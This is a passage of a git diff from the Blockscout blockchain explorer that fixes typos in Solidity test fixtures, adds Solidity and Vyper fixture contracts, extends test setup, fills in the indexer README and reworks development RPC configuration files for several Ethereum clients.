_data) payable { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); @@ -570,4 +570,4 @@ abstract contract ERC1967Upgrade { function _implementation() internal view virtual override returns (address impl) { return ERC1967Upgrade._getImplementation(); } -} \ No newline at end of file +} diff --git a/apps/explorer/test/support/fixture/smart_contract/large_smart_contract.sol b/apps/explorer/test/support/fixture/smart_contract/large_smart_contract.sol index 6b147f21d86e..1beabcf99768 100644 --- a/apps/explorer/test/support/fixture/smart_contract/large_smart_contract.sol +++ b/apps/explorer/test/support/fixture/smart_contract/large_smart_contract.sol @@ -113,7 +113,7 @@ interface IHomeWork { * @param key bytes32 The unique value used to derive the home address. * @param owner address The account that will be granted ownership of the * ERC721 token. - * @dev In order to mint an ERC721 token, the assocated home address cannot be + * @dev In order to mint an ERC721 token, the associated home address cannot be * in use, or else the token will not be able to deploy to the home address. * The controller is set to this contract until the token is redeemed, at * which point the redeemer designates a new controller for the home address. @@ -239,7 +239,7 @@ interface IHomeWork { * @param owner address The account that will be granted ownership of the * ERC721 token. * @return The derived key. - * @dev In order to mint an ERC721 token, the assocated home address cannot be + * @dev In order to mint an ERC721 token, the associated home address cannot be * in use, or else the token will not be able to deploy to the home address. * The controller is set to this contract until the token is redeemed, at * which point the redeemer designates a new controller for the home address. @@ -1778,7 +1778,7 @@ contract HomeWork is IHomeWork, ERC721Enumerable, IERC721Metadata, IERC1412 { * @param key bytes32 The unique value used to derive the home address. * @param owner address The account that will be granted ownership of the * ERC721 token. - * @dev In order to mint an ERC721 token, the assocated home address cannot be + * @dev In order to mint an ERC721 token, the associated home address cannot be * in use, or else the token will not be able to deploy to the home address. * The controller is set to this contract until the token is redeemed, at * which point the redeemer designates a new controller for the home address. @@ -2011,7 +2011,7 @@ contract HomeWork is IHomeWork, ERC721Enumerable, IERC721Metadata, IERC1412 { * @param owner address The account that will be granted ownership of the * ERC721 token. * @return The derived key. - * @dev In order to mint an ERC721 token, the assocated home address cannot be + * @dev In order to mint an ERC721 token, the associated home address cannot be * in use, or else the token will not be able to deploy to the home address. * The controller is set to this contract until the token is redeemed, at * which point the redeemer designates a new controller for the home address. @@ -2763,7 +2763,7 @@ contract HomeWork is IHomeWork, ERC721Enumerable, IERC721Metadata, IERC1412 { view returns (address holder, uint256 score, bytes32 key) { - // Get the key and subbmitter holding the current high score. + // Get the key and submitter holding the current high score. key = _highScoreKey; holder = address(bytes20(key)); @@ -2886,7 +2886,7 @@ contract HomeWork is IHomeWork, ERC721Enumerable, IERC721Metadata, IERC1412 { * * data:application/json,{ * "name":"Home%20Address%20-%200x********************", - * "description":"< ... HomeWork NFT desription ... >", + * "description":"< ... HomeWork NFT description ... >", * "image":"data:image/svg+xml;charset=utf-8;base64,< ... Image ... >"} * * where ******************** represents the checksummed home address that the @@ -3063,7 +3063,7 @@ contract HomeWork is IHomeWork, ERC721Enumerable, IERC721Metadata, IERC1412 { /** * @notice Internal function for deploying arbitrary contract code to the home - * address corresponding to a suppied key via metamorphic initialization code. + * address corresponding to a supplied key via metamorphic initialization code. * @return The home address and the hash of the deployed runtime code. * @dev This deployment method uses the "metamorphic delegator" pattern, where * it will retrieve the address of the contract that contains the target @@ -3793,7 +3793,7 @@ contract HomeWorkDeployer { /** * @notice Internal function for deploying arbitrary contract code to the home - * address corresponding to a suppied key via metamorphic initialization code. + * address corresponding to a supplied key via metamorphic initialization code. * @dev This deployment method uses the "metamorphic delegator" pattern, where * it will retrieve the address of the contract that contains the target * initialization code, then delegatecall into it, which executes the @@ -3871,4 +3871,4 @@ contract HomeWorkDeployer { require(!_disabled, "Contract is disabled."); _; } -} \ No newline at end of file +} diff --git a/apps/explorer/test/support/fixture/smart_contract/standard_input.json b/apps/explorer/test/support/fixture/smart_contract/standard_input.json new file mode 100644 index 000000000000..2cc2d045e655 --- /dev/null +++ b/apps/explorer/test/support/fixture/smart_contract/standard_input.json @@ -0,0 +1,33 @@ +{ + "language": "Solidity", + "sources": { + "./simple_storage.sol": { + "content": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity >=0.7.0 <0.9.0;\n\n/**\n * @title Owner\n * @dev Set & change owner\n */\ncontract Owner {\n\n address private owner;\n \n // event for EVM logging 2345678ewqwertyui54567890987654345678\n event OwnerSet(address indexed oldOwner, address indexed newOwner);\n \n // modifier to check if caller is owner\n modifier isOwner() {\n // If the first argument of 'require' evaluates to 'false', execution terminates and all\n // changes to the state and to Ether balances are reverted.\n // This used to consume all gas in old EVM versions, but not anymore.\n // It is often a good idea to use 'require' to check if functions are called correctly.\n // As a second argument, you can also provide an explanation about what went wrong.\n require(msg.sender == owner, \"Caller is not owner\");\n _;\n }\n \n /**\n * @dev Set contract deployer as owner\n */\n constructor(uint112 abc, address abb, bytes32 ghnc) {\n // console.log(\"Owner contract deployed by:\", msg.sender);\n owner = msg.sender; // 'msg.sender' is sender of current call, contract deployer for a constructor\n emit OwnerSet(address(0), owner);\n }\n\n /**\n * @dev Change owner\n * @param newOwner address of new owner\n */\n function changeOwner(address newOwner) public isOwner {\n emit OwnerSet(owner, newOwner);\n owner = newOwner;\n }\n\n /**\n * @dev Return owner address \n * @return address of owner\n */\n function getOwner() external view returns (address) {\n return owner;\n }\n}" + } + }, + "settings": { + "evmVersion":"london", + "metadata": { + "useLiteralContent": true + }, + "optimizer": { + "enabled": true, + "runs": 199 + }, + "outputSelection": { + "*": { + "*": [ + "abi", + "evm.bytecode", + "evm.deployedBytecode", + "evm.methodIdentifiers" + ], + "": [ + "id", + "ast" + ] + } + } + } + +} \ No newline at end of file diff --git a/apps/explorer/test/support/fixture/smart_contract/vyper.vy b/apps/explorer/test/support/fixture/smart_contract/vyper.vy new file mode 100644 index 000000000000..785d29572f79 --- /dev/null +++ b/apps/explorer/test/support/fixture/smart_contract/vyper.vy @@ -0,0 +1,105 @@ +from vyper.interfaces import ERC20 + +implements: ERC20 + +event Transfer: + sender: indexed(address) + receiver: indexed(address) + value: uint256 + +event Approval: + owner: indexed(address) + spender: indexed(address) + value: uint256 + +name: public(String[64]) +symbol: public(String[32]) +decimals: public(uint256) + +balanceOf: public(HashMap[address, uint256]) +allowance: public(HashMap[address, HashMap[address, uint256]]) +totalSupply: public(uint256) +minter: address +_supply: uint256 +_check: uint256 #1% of the total supply check + + +@external +def __init__(): + self._supply = 10_000_000_000 + self._check = 100_000_000 + self.decimals = 18 + self.name = 'Kooopa' + self.symbol = 'KOO' + + init_supply: uint256 = self._supply * 10 ** self.decimals + + self.balanceOf[msg.sender] = init_supply + self.totalSupply = init_supply + self.minter = msg.sender + + log Transfer(ZERO_ADDRESS, msg.sender, init_supply) + + +@internal +def _transfer(_from : address, _to : address, _value : uint256) -> bool: + assert _value <= self._check, 'Transfer limit of 1%(100 Million) Tokens' + + TargetBalance: uint256 = self.balanceOf[_to] + _value + assert TargetBalance <= self._check, 'Single wallet cannot hold more than 1%(100 Million) Tokens' + + self.balanceOf[_from] -= _value + self.balanceOf[_to] += _value + log Transfer(_from, _to, _value) + return True + + +@external +def transfer(_to : address, _value : uint256) -> bool: + self._transfer(msg.sender, _to, _value) + return True + + +@external +def transferFrom(_from : address, _to : address, _value : uint256) -> bool: + self._transfer(_from, _to, _value) + self.allowance[_from][msg.sender] -= _value + return True + + +@external +def approve(_spender : address, _value : uint256) -> bool: + assert _value <= self._check, 'Cant Approve more than 1%(100 Million) Tokens for transfer' + + self.allowance[msg.sender][_spender] = _value + log Approval(msg.sender, _spender, _value) + return True + + +@external +def mint(_to: address, _value: uint256): + assert msg.sender == self.minter + assert _to != ZERO_ADDRESS + self.totalSupply += _value + self.balanceOf[_to] += _value + log Transfer(ZERO_ADDRESS, _to, _value) + + +@internal +def _burn(_to: address, _value: uint256): + + assert _to != ZERO_ADDRESS + self.totalSupply -= _value + self.balanceOf[_to] -= _value + log Transfer(_to, ZERO_ADDRESS, _value) + + +@external +def burn(_value: uint256): + self._burn(msg.sender, _value) + + +@external +def burnFrom(_to: address, _value: uint256): + self.allowance[_to][msg.sender] -= _value + self._burn(_to, _value) \ No newline at end of file diff --git a/apps/explorer/test/support/fixture/vcr_cassettes/transaction_importer_txn_without_block.json b/apps/explorer/test/support/fixture/vcr_cassettes/transaction_importer_transaction_without_block.json similarity index 100% rename from apps/explorer/test/support/fixture/vcr_cassettes/transaction_importer_txn_without_block.json rename to apps/explorer/test/support/fixture/vcr_cassettes/transaction_importer_transaction_without_block.json diff --git a/apps/explorer/test/test_helper.exs b/apps/explorer/test/test_helper.exs index 50847130f8ba..24ceddad9e10 100644 --- a/apps/explorer/test/test_helper.exs +++ b/apps/explorer/test/test_helper.exs @@ -12,10 +12,23 @@ ExUnit.start() {:ok, _} = Application.ensure_all_started(:ex_machina) Ecto.Adapters.SQL.Sandbox.mode(Explorer.Repo, :auto) +Ecto.Adapters.SQL.Sandbox.mode(Explorer.Repo.Account, :auto) +Ecto.Adapters.SQL.Sandbox.mode(Explorer.Repo.PolygonEdge, :auto) +Ecto.Adapters.SQL.Sandbox.mode(Explorer.Repo.PolygonZkevm, :auto) +Ecto.Adapters.SQL.Sandbox.mode(Explorer.Repo.RSK, :auto) +Ecto.Adapters.SQL.Sandbox.mode(Explorer.Repo.Shibarium, :auto) +Ecto.Adapters.SQL.Sandbox.mode(Explorer.Repo.Suave, :auto) +Ecto.Adapters.SQL.Sandbox.mode(Explorer.Repo.Beacon, :auto) +Ecto.Adapters.SQL.Sandbox.mode(Explorer.Repo.BridgedTokens, :auto) +Ecto.Adapters.SQL.Sandbox.mode(Explorer.Repo.Filecoin, :auto) +Ecto.Adapters.SQL.Sandbox.mode(Explorer.Repo.Stability, :auto) +Ecto.Adapters.SQL.Sandbox.mode(Explorer.Repo.Mud, :auto) +Ecto.Adapters.SQL.Sandbox.mode(Explorer.Repo.ShrunkInternalTransactions, :auto) +Ecto.Adapters.SQL.Sandbox.mode(Explorer.Repo.EventNotifications, :auto) -Mox.defmock(Explorer.ExchangeRates.Source.TestSource, for: Explorer.ExchangeRates.Source) -Mox.defmock(Explorer.KnownTokens.Source.TestSource, for: Explorer.KnownTokens.Source) -Mox.defmock(Explorer.Market.History.Source.TestSource, for: Explorer.Market.History.Source) +Mox.defmock(Explorer.Market.Source.TestSource, for: Explorer.Market.Source) Mox.defmock(Explorer.History.TestHistorian, for: Explorer.History.Historian) Mox.defmock(EthereumJSONRPC.Mox, for: EthereumJSONRPC.Transport) + +Mox.defmock(Explorer.Mock.TeslaAdapter, for: Tesla.Adapter) diff --git a/apps/indexer/README.md b/apps/indexer/README.md index 62daba227a9c..262019b28d22 100644 --- a/apps/indexer/README.md +++ b/apps/indexer/README.md @@ -1,6 +1,6 @@ # Indexer -**TODO: Add description** +The Indexer component of Blockscout is a backend process built in Elixir using supervised `GenServers`. It fetches blockchain data from Ethereum-based networks using an ETL pipeline that supports both real-time and catch-up indexing. The component buffers and batches incoming data to effectively manage concurrency and memory usage. It transforms raw data such as blocks, transactions, receipts, and logs into structured formats, orchestrating both synchronous and asynchronous processing. The Indexer does not directly interact with the PostgreSQL database via `Ecto`; instead, it passes prepared data to the Explorer component using the Chain.import function. Its design includes specialized fetchers and transformers that support multi-chain environments, handling data from networks like Optimism, Arbitrum, Polygon Edge, zkSync, and others. The component integrates robust error handling and retry mechanisms to ensure data integrity during processing. Multi-chain support is further emphasized through dedicated modules that process chain-specific data and transform it into database-ready structures. ## Structure @@ -21,14 +21,23 @@ Some data has to be extracted from already fetched data, and there're several tr - `address_coin_balances`: detects coin balance-changing entities (transactions, minted blocks, etc) to create coin balance entities for further fetching - `token_transfers`: parses logs to extract token transfers - `mint_transfers`: parses logs to extract token mint transfers -- `address_token_balances`: creates token balance entities for futher fetching, based on detected token transfers +- `transaction_actions`: parses logs to extract transaction actions +- `address_token_balances`: creates token balance entities for further fetching, based on detected token transfers - `blocks`: extracts block signer hash from additional data for Clique chains +- `optimism_withdrawals`: parses logs to extract L2 withdrawal messages ### Root fetchers - `pending_transaction`: fetches pending transactions (i.e. not yet collated into a block) every second (`pending_transaction_interval`) - `block/realtime`: listens for new blocks from websocket and polls node for new blocks, imports new ones one by one - `block/catchup`: gets unfetched ranges of blocks, imports them in batches +- `transaction_action`: optionally fetches/rewrites transaction actions for old blocks (in a given range of blocks for given protocols) +- `optimism/txn_batch`: fetches transaction batches of Optimism chain +- `optimism/output_root`: fetches output roots of Optimism chain +- `optimism/deposit`: fetches deposits to Optimism chain +- `optimism/withdrawal`: fetches withdrawals from Optimism chain +- `optimism/withdrawal_event`: fetches withdrawal events on L1 chain +- `withdrawals`: optionally fetches withdrawals for old blocks (in the given from boundary of block numbers) Both block fetchers retrieve/extract the blocks themselves and the following additional data: @@ -36,7 +45,9 @@ Both block fetchers retrieve/extract the blocks themselves and the following add - `transactions` - `logs` - `token_transfers` +- `transaction_actions` - `addresses` +- `withdrawals` The following stubs for further async fetching are inserted as well: @@ -77,7 +88,7 @@ Most of them are based off `BufferedTask`, and the basic algorithm goes like thi - `replaced_transaction`: not a fetcher per se, but rather an async worker, which discards previously pending transactions after they are replaced with new pending transactions with the same nonce, or are collated in a block. - `block_reward`: missing `block_rewards` for consensus blocks - `uncle_block`: blocks for `block_second_degree_relations` with null `uncle_fetched_at` -- `internal_transaction`: for either `blocks` (Parity) or `transactions` with null `internal_transactions_indexed_at` +- `internal_transaction`: for either `blocks` (Nethermind) or `transactions` with null `internal_transactions_indexed_at` - `coin_balance`: for `address_coin_balances` with null `value_fetched_at` - `token_balance`: for `address_token_balances` with null `value_fetched_at`. Also upserts `address_current_token_balances` - `token`: for `tokens` with `cataloged == false` @@ -93,9 +104,9 @@ Additionally: These workers are created for fetching information, which previously wasn't fetched in existing fetchers, or was fetched incorrectly. After all deployed instances get all needed data, these fetchers should be deprecated and removed. -- `uncataloged_token_transfers`: extracts token transfers from logs, which previously weren't parsed due to unknown format +- `uncataloged_token_transfers`: extracts token transfers from logs, which weren't parsed due to an unknown format - `uncles_without_index`: adds previously unfetched `index` field for unfetched blocks in `block_second_degree_relations` -- `blocks_transactions_mismatch`: refetches each block once and revokes consensus to those whose transaction number mismatches with the number currently stored. This is meant to force the correction of a race condition that caused successfully fetched transactions to be overwritten by a following non-consensus block: [#1911](https://github.com/blockscout/blockscout/issues/1911). +- `blocks_transactions_mismatch`: refetches each block once and revokes consensus for those whose transaction number mismatches with the number currently stored. This is meant to force the correction of a race condition that caused successfully fetched transactions to be overwritten by a following non-consensus block: [#1911](https://github.com/blockscout/blockscout/issues/1911). ## Memory Usage @@ -111,22 +122,22 @@ This defaults to 150 seconds, but it can be set via adding a configuration to `s ## Testing -### Parity +### Nethermind #### Mox **This is the default setup. `mix test` will work on its own, but to be explicit, use the following setup**: ```shell -export ETHEREUM_JSONRPC_CASE=EthereumJSONRPC.Case.Parity.Mox -mix test --exclude no_parity +export ETHEREUM_JSONRPC_CASE=EthereumJSONRPC.Case.Nethermind.Mox +mix test --exclude no_nethermind ``` #### HTTP / WebSocket ```shell -export ETHEREUM_JSONRPC_CASE=EthereumJSONRPC.Case.Parity.HTTPWebSocket -mix test --exclude no_parity +export ETHEREUM_JSONRPC_CASE=EthereumJSONRPC.Case.Nethermind.HTTPWebSocket +mix test --exclude no_nethermind ``` | Protocol | URL | diff --git a/apps/indexer/config/config.exs b/apps/indexer/config/config.exs index 62d1314f1823..dc97d7881075 100644 --- a/apps/indexer/config/config.exs +++ b/apps/indexer/config/config.exs @@ -5,13 +5,15 @@ import Config config :indexer, ecto_repos: [Explorer.Repo] -# config :indexer, Indexer.Fetcher.ReplacedTransaction.Supervisor, disabled?: true - config :indexer, Indexer.Tracer, service: :indexer, adapter: SpandexDatadog.Adapter, trace_key: :blockscout +config :indexer, Indexer.Block.Catchup.MissingRangesCollector, future_check_interval: :timer.minutes(1) + +config :indexer, Indexer.Migrator.RecoveryWETHTokenTransfers, enabled: true + config :logger, :indexer, # keep synced with `config/config.exs` format: "$dateT$time $metadata[$level] $message\n", @@ -20,6 +22,11 @@ config :logger, :indexer, block_number step count error_count shrunk import_id transaction_id)a, metadata_filter: [application: :indexer] +config :os_mon, + start_cpu_sup: false, + start_disksup: false, + start_memsup: true + # Import environment specific config. This must remain at the bottom # of this file so it overrides the configuration defined above. import_config "#{config_env()}.exs" diff --git a/apps/indexer/config/dev.exs b/apps/indexer/config/dev.exs index f7f9b205d9f6..28f928baa1ae 100644 --- a/apps/indexer/config/dev.exs +++ b/apps/indexer/config/dev.exs @@ -35,3 +35,8 @@ config :logger, :block_import_timings, level: :debug, path: Path.absname("logs/dev/indexer/block_import_timings.log"), metadata_filter: [fetcher: :block_import_timings] + +config :logger, :withdrawal, + level: :debug, + path: Path.absname("logs/dev/indexer/withdrawal.log"), + metadata_filter: [fetcher: :withdrawal] diff --git a/apps/indexer/config/dev/anvil.exs b/apps/indexer/config/dev/anvil.exs new file mode 100644 index 000000000000..6022fe550aeb --- /dev/null +++ b/apps/indexer/config/dev/anvil.exs @@ -0,0 +1,37 @@ +import Config + +~w(config config_helper.exs) +|> Path.join() +|> Code.eval_file() + +config :indexer, + block_interval: ConfigHelper.parse_time_env_var("INDEXER_CATCHUP_BLOCK_INTERVAL", "0s"), + json_rpc_named_arguments: [ + transport: + if(System.get_env("ETHEREUM_JSONRPC_TRANSPORT", "http") == "http", + do: EthereumJSONRPC.HTTP, + else: EthereumJSONRPC.IPC + ), + transport_options: [ + http: EthereumJSONRPC.HTTP.Tesla, + urls: ConfigHelper.parse_urls_list(:http), + eth_call_urls: ConfigHelper.parse_urls_list(:eth_call), + fallback_urls: ConfigHelper.parse_urls_list(:fallback_http), + fallback_eth_call_urls: ConfigHelper.parse_urls_list(:fallback_eth_call), + method_to_url: [ + eth_call: :eth_call + ], + http_options: ConfigHelper.http_options(1) + ], + variant: EthereumJSONRPC.Anvil + ], + subscribe_named_arguments: [ + transport: + System.get_env("ETHEREUM_JSONRPC_WS_URL") && System.get_env("ETHEREUM_JSONRPC_WS_URL") !== "" && + EthereumJSONRPC.WebSocket, + transport_options: [ + web_socket: EthereumJSONRPC.WebSocket.WebSocketClient, + url: System.get_env("ETHEREUM_JSONRPC_WS_URL"), + fallback_url: System.get_env("ETHEREUM_JSONRPC_FALLBACK_WS_URL") + ] + ] diff --git a/apps/indexer/config/dev/arbitrum.exs b/apps/indexer/config/dev/arbitrum.exs deleted file mode 100644 index e0f8de63e29d..000000000000 --- a/apps/indexer/config/dev/arbitrum.exs +++ /dev/null @@ -1,26 +0,0 @@ -import Config - -config :indexer, - block_interval: :timer.seconds(5), - json_rpc_named_arguments: [ - transport: - if(System.get_env("ETHEREUM_JSONRPC_TRANSPORT", "http") == "http", - do: EthereumJSONRPC.HTTP, - else: EthereumJSONRPC.IPC - ), - transport_options: [ - http: EthereumJSONRPC.HTTP.HTTPoison, - url: System.get_env("ETHEREUM_JSONRPC_HTTP_URL") || "http://localhost:8545", - http_options: [recv_timeout: :timer.minutes(1), timeout: :timer.minutes(1), hackney: [pool: :ethereum_jsonrpc]] - ], - variant: EthereumJSONRPC.Arbitrum - ], - subscribe_named_arguments: [ - transport: - System.get_env("ETHEREUM_JSONRPC_WS_URL") && System.get_env("ETHEREUM_JSONRPC_WS_URL") !== "" && - EthereumJSONRPC.WebSocket, - transport_options: [ - web_socket: EthereumJSONRPC.WebSocket.WebSocketClient, - url: System.get_env("ETHEREUM_JSONRPC_WS_URL") - ] - ] diff --git a/apps/indexer/config/dev/besu.exs b/apps/indexer/config/dev/besu.exs index af23f64718c1..3d843dc768d1 100644 --- a/apps/indexer/config/dev/besu.exs +++ b/apps/indexer/config/dev/besu.exs @@ -1,7 +1,11 @@ import Config +~w(config config_helper.exs) +|> Path.join() +|> Code.eval_file() + config :indexer, - block_interval: :timer.seconds(5), + block_interval: ConfigHelper.parse_time_env_var("INDEXER_CATCHUP_BLOCK_INTERVAL", "0s"), json_rpc_named_arguments: [ transport: if(System.get_env("ETHEREUM_JSONRPC_TRANSPORT", "http") == "http", @@ -10,14 +14,21 @@ config :indexer, ), else: EthereumJSONRPC.IPC, transport_options: [ - http: EthereumJSONRPC.HTTP.HTTPoison, - url: System.get_env("ETHEREUM_JSONRPC_HTTP_URL") || "http://localhost:8545", + http: EthereumJSONRPC.HTTP.Tesla, + urls: ConfigHelper.parse_urls_list(:http), + trace_urls: ConfigHelper.parse_urls_list(:trace), + eth_call_urls: ConfigHelper.parse_urls_list(:eth_call), + fallback_urls: ConfigHelper.parse_urls_list(:fallback_http), + fallback_trace_urls: ConfigHelper.parse_urls_list(:fallback_trace), + fallback_eth_call_urls: ConfigHelper.parse_urls_list(:fallback_eth_call), method_to_url: [ - eth_getBalance: System.get_env("ETHEREUM_JSONRPC_TRACE_URL") || "http://localhost:8545", - trace_block: System.get_env("ETHEREUM_JSONRPC_TRACE_URL") || "http://localhost:8545", - trace_replayBlockTransactions: System.get_env("ETHEREUM_JSONRPC_TRACE_URL") || "http://localhost:8545" + eth_call: :eth_call, + eth_getBalance: :trace, + trace_block: :trace, + trace_replayBlockTransactions: :trace, + trace_replayTransaction: :trace ], - http_options: [recv_timeout: :timer.minutes(10), timeout: :timer.minutes(10), hackney: [pool: :ethereum_jsonrpc]] + http_options: ConfigHelper.http_options(10) ], variant: EthereumJSONRPC.Besu ], @@ -27,6 +38,7 @@ config :indexer, EthereumJSONRPC.WebSocket, transport_options: [ web_socket: EthereumJSONRPC.WebSocket.WebSocketClient, - url: System.get_env("ETHEREUM_JSONRPC_WS_URL") + url: System.get_env("ETHEREUM_JSONRPC_WS_URL"), + fallback_url: System.get_env("ETHEREUM_JSONRPC_FALLBACK_WS_URL") ] ] diff --git a/apps/indexer/config/dev/erigon.exs b/apps/indexer/config/dev/erigon.exs index c359d0684b25..baddc1e4330d 100644 --- a/apps/indexer/config/dev/erigon.exs +++ b/apps/indexer/config/dev/erigon.exs @@ -1,7 +1,11 @@ import Config +~w(config config_helper.exs) +|> Path.join() +|> Code.eval_file() + config :indexer, - block_interval: :timer.seconds(5), + block_interval: ConfigHelper.parse_time_env_var("INDEXER_CATCHUP_BLOCK_INTERVAL", "0s"), json_rpc_named_arguments: [ transport: if(System.get_env("ETHEREUM_JSONRPC_TRANSPORT", "http") == "http", @@ -10,14 +14,21 @@ config :indexer, ), else: EthereumJSONRPC.IPC, transport_options: [ - http: EthereumJSONRPC.HTTP.HTTPoison, - url: System.get_env("ETHEREUM_JSONRPC_HTTP_URL") || "http://localhost:8545", + http: EthereumJSONRPC.HTTP.Tesla, + urls: ConfigHelper.parse_urls_list(:http), + trace_urls: ConfigHelper.parse_urls_list(:trace), + eth_call_urls: ConfigHelper.parse_urls_list(:eth_call), + fallback_urls: ConfigHelper.parse_urls_list(:fallback_http), + fallback_trace_urls: ConfigHelper.parse_urls_list(:fallback_trace), + fallback_eth_call_urls: ConfigHelper.parse_urls_list(:fallback_eth_call), method_to_url: [ - eth_getBalance: System.get_env("ETHEREUM_JSONRPC_TRACE_URL") || "http://localhost:8545", - trace_block: System.get_env("ETHEREUM_JSONRPC_TRACE_URL") || "http://localhost:8545", - trace_replayBlockTransactions: System.get_env("ETHEREUM_JSONRPC_TRACE_URL") || "http://localhost:8545" + eth_call: :eth_call, + eth_getBalance: :trace, + trace_block: :trace, + trace_replayBlockTransactions: :trace, + trace_replayTransaction: :trace ], - http_options: [recv_timeout: :timer.minutes(10), timeout: :timer.minutes(10), hackney: [pool: :ethereum_jsonrpc]] + http_options: ConfigHelper.http_options(10) ], variant: EthereumJSONRPC.Erigon ], @@ -27,6 +38,7 @@ config :indexer, EthereumJSONRPC.WebSocket, transport_options: [ web_socket: EthereumJSONRPC.WebSocket.WebSocketClient, - url: System.get_env("ETHEREUM_JSONRPC_WS_URL") + url: System.get_env("ETHEREUM_JSONRPC_WS_URL"), + fallback_url: System.get_env("ETHEREUM_JSONRPC_FALLBACK_WS_URL") ] ] diff --git a/apps/indexer/config/dev/filecoin.exs b/apps/indexer/config/dev/filecoin.exs new file mode 100644 index 000000000000..be5860f69f85 --- /dev/null +++ b/apps/indexer/config/dev/filecoin.exs @@ -0,0 +1,40 @@ +import Config + +~w(config config_helper.exs) +|> Path.join() +|> Code.eval_file() + +config :indexer, + block_interval: ConfigHelper.parse_time_env_var("INDEXER_CATCHUP_BLOCK_INTERVAL", "0s"), + json_rpc_named_arguments: [ + transport: + if(System.get_env("ETHEREUM_JSONRPC_TRANSPORT", "http") == "http", + do: EthereumJSONRPC.HTTP, + else: EthereumJSONRPC.IPC + ), + transport_options: [ + http: EthereumJSONRPC.HTTP.Tesla, + urls: ConfigHelper.parse_urls_list(:http, "http://localhost:1234/rpc/v1"), + trace_urls: ConfigHelper.parse_urls_list(:trace, "http://localhost:1234/rpc/v1"), + eth_call_urls: ConfigHelper.parse_urls_list(:eth_call, "http://localhost:1234/rpc/v1"), + fallback_urls: ConfigHelper.parse_urls_list(:fallback_http), + fallback_trace_urls: ConfigHelper.parse_urls_list(:fallback_trace), + fallback_eth_call_urls: ConfigHelper.parse_urls_list(:fallback_eth_call), + method_to_url: [ + eth_call: :eth_call, + trace_block: :trace + ], + http_options: ConfigHelper.http_options(1) + ], + variant: EthereumJSONRPC.Filecoin + ], + subscribe_named_arguments: [ + transport: + System.get_env("ETHEREUM_JSONRPC_WS_URL") && System.get_env("ETHEREUM_JSONRPC_WS_URL") !== "" && + EthereumJSONRPC.WebSocket, + transport_options: [ + web_socket: EthereumJSONRPC.WebSocket.WebSocketClient, + url: System.get_env("ETHEREUM_JSONRPC_WS_URL"), + fallback_url: System.get_env("ETHEREUM_JSONRPC_FALLBACK_WS_URL") + ] + ] diff --git a/apps/indexer/config/dev/ganache.exs b/apps/indexer/config/dev/ganache.exs deleted file mode 100644 index ee377b5022bc..000000000000 --- a/apps/indexer/config/dev/ganache.exs +++ /dev/null @@ -1,26 +0,0 @@ -import Config - -config :indexer, - block_interval: :timer.seconds(5), - json_rpc_named_arguments: [ - transport: - if(System.get_env("ETHEREUM_JSONRPC_TRANSPORT", "http") == "http", - do: EthereumJSONRPC.HTTP, - else: EthereumJSONRPC.IPC - ), - transport_options: [ - http: EthereumJSONRPC.HTTP.HTTPoison, - url: System.get_env("ETHEREUM_JSONRPC_HTTP_URL") || "http://localhost:7545", - http_options: [recv_timeout: :timer.minutes(1), timeout: :timer.minutes(1), hackney: [pool: :ethereum_jsonrpc]] - ], - variant: EthereumJSONRPC.Ganache - ], - subscribe_named_arguments: [ - transport: - System.get_env("ETHEREUM_JSONRPC_WS_URL") && System.get_env("ETHEREUM_JSONRPC_WS_URL") !== "" && - EthereumJSONRPC.WebSocket, - transport_options: [ - web_socket: EthereumJSONRPC.WebSocket.WebSocketClient, - url: System.get_env("ETHEREUM_JSONRPC_WS_URL") - ] - ] diff --git a/apps/indexer/config/dev/geth.exs b/apps/indexer/config/dev/geth.exs index e2f26eca4719..825d6abe8df8 100644 --- a/apps/indexer/config/dev/geth.exs +++ b/apps/indexer/config/dev/geth.exs @@ -1,7 +1,11 @@ import Config +~w(config config_helper.exs) +|> Path.join() +|> Code.eval_file() + config :indexer, - block_interval: :timer.seconds(5), + block_interval: ConfigHelper.parse_time_env_var("INDEXER_CATCHUP_BLOCK_INTERVAL", "0s"), json_rpc_named_arguments: [ transport: if(System.get_env("ETHEREUM_JSONRPC_TRANSPORT", "http") == "http", @@ -9,9 +13,19 @@ config :indexer, else: EthereumJSONRPC.IPC ), transport_options: [ - http: EthereumJSONRPC.HTTP.HTTPoison, - url: System.get_env("ETHEREUM_JSONRPC_HTTP_URL") || "http://localhost:8545", - http_options: [recv_timeout: :timer.minutes(1), timeout: :timer.minutes(1), hackney: [pool: :ethereum_jsonrpc]] + http: EthereumJSONRPC.HTTP.Tesla, + urls: ConfigHelper.parse_urls_list(:http), + trace_urls: ConfigHelper.parse_urls_list(:trace), + eth_call_urls: ConfigHelper.parse_urls_list(:eth_call), + fallback_urls: ConfigHelper.parse_urls_list(:fallback_http), + fallback_trace_urls: ConfigHelper.parse_urls_list(:fallback_trace), + fallback_eth_call_urls: ConfigHelper.parse_urls_list(:fallback_eth_call), + method_to_url: [ + eth_call: :eth_call, + debug_traceTransaction: :trace, + debug_traceBlockByNumber: :trace + ], + http_options: ConfigHelper.http_options(1) ], variant: EthereumJSONRPC.Geth ], @@ -21,6 +35,7 @@ config :indexer, EthereumJSONRPC.WebSocket, transport_options: [ web_socket: EthereumJSONRPC.WebSocket.WebSocketClient, - url: System.get_env("ETHEREUM_JSONRPC_WS_URL") + url: System.get_env("ETHEREUM_JSONRPC_WS_URL"), + fallback_url: System.get_env("ETHEREUM_JSONRPC_FALLBACK_WS_URL") ] ] diff --git a/apps/indexer/config/dev/nethermind.exs b/apps/indexer/config/dev/nethermind.exs new file mode 100644 index 000000000000..934ba050caaf --- /dev/null +++ b/apps/indexer/config/dev/nethermind.exs @@ -0,0 +1,44 @@ +import Config + +~w(config config_helper.exs) +|> Path.join() +|> Code.eval_file() + +config :indexer, + block_interval: ConfigHelper.parse_time_env_var("INDEXER_CATCHUP_BLOCK_INTERVAL", "0s"), + json_rpc_named_arguments: [ + transport: + if(System.get_env("ETHEREUM_JSONRPC_TRANSPORT", "http") == "http", + do: EthereumJSONRPC.HTTP, + else: EthereumJSONRPC.IPC + ), + else: EthereumJSONRPC.IPC, + transport_options: [ + http: EthereumJSONRPC.HTTP.Tesla, + urls: ConfigHelper.parse_urls_list(:http), + trace_urls: ConfigHelper.parse_urls_list(:trace), + eth_call_urls: ConfigHelper.parse_urls_list(:eth_call), + fallback_urls: ConfigHelper.parse_urls_list(:fallback_http), + fallback_trace_urls: ConfigHelper.parse_urls_list(:fallback_trace), + fallback_eth_call_urls: ConfigHelper.parse_urls_list(:fallback_eth_call), + method_to_url: [ + eth_call: 